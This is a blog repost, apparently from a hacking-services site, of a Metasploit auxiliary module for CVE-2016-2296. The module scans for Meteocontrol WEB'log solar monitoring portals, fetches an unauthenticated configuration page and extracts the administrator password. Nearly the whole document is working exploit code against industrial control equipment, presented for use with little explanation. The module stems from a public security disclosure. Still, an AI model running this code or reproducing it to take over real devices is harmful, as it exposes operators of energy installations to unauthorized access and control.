Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863101853

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: [Meteocontrol WEB'log - Extract Admin password]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.meteocontrol.com/en/]
# Versions Reported: [All Meteocontrol WEB'log versions]
# CVE-ID: [CVE-2016-2296]

# Meteocontrol WEB'log - Metasploit Auxiliary Module [modules/auxiliary/admin/scada/meteocontrol_weblog_login.rb]


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'Meteocontrol WEBLog Password Extractor',
      'Description' => %{
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.

},
      'References'  =>
        [
             [ 'URL', 'http://ipositivesecurity.blogspot.in/2016/05/ics-meteocontrol-weblog-security.html' ],
             [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ]
        ],
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
    [
        Opt::RPORT(8080)	# Application may run on a different port too. Change port accordingly.
    ], self.class)
  end

  def run_host(ip)
    unless is_app_metweblog?
      return
    end

    do_extract
  end

  #
  # Check if App is Meteocontrol WEBlog
  #

  def is_app_metweblog?
    begin
      res = send_request_cgi(
      {
        'uri'       => '/html/en/index.html',
        'method'    => 'GET'
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    end

    if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
      print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
      return true
    else
      print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
      return false
    end
  end

  #
  # Extract Administrator Password
  #

  def do_extract()
    print_status("#{rhost}:#{rport} - Attempting to extract Administrator password")
    begin
      res = send_request_cgi(
      {
        'uri'       => '/html/en/confAccessProt.html',
        'method'    => 'GET'
      })

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return :abort
    end

    if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
        get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
        admin_password = get_admin_password[1]
        print_good("#{rhost}:#{rport} - Password is #{admin_password}")
        report_cred(
                ip: rhost,
                port: rport,
                service_name: 'Meteocontrol WEBlog Management Portal',
                password: admin_password,
                proof: res.body
      )
    else
        # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
        print_error("Password not found. Check login manually.")
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end
end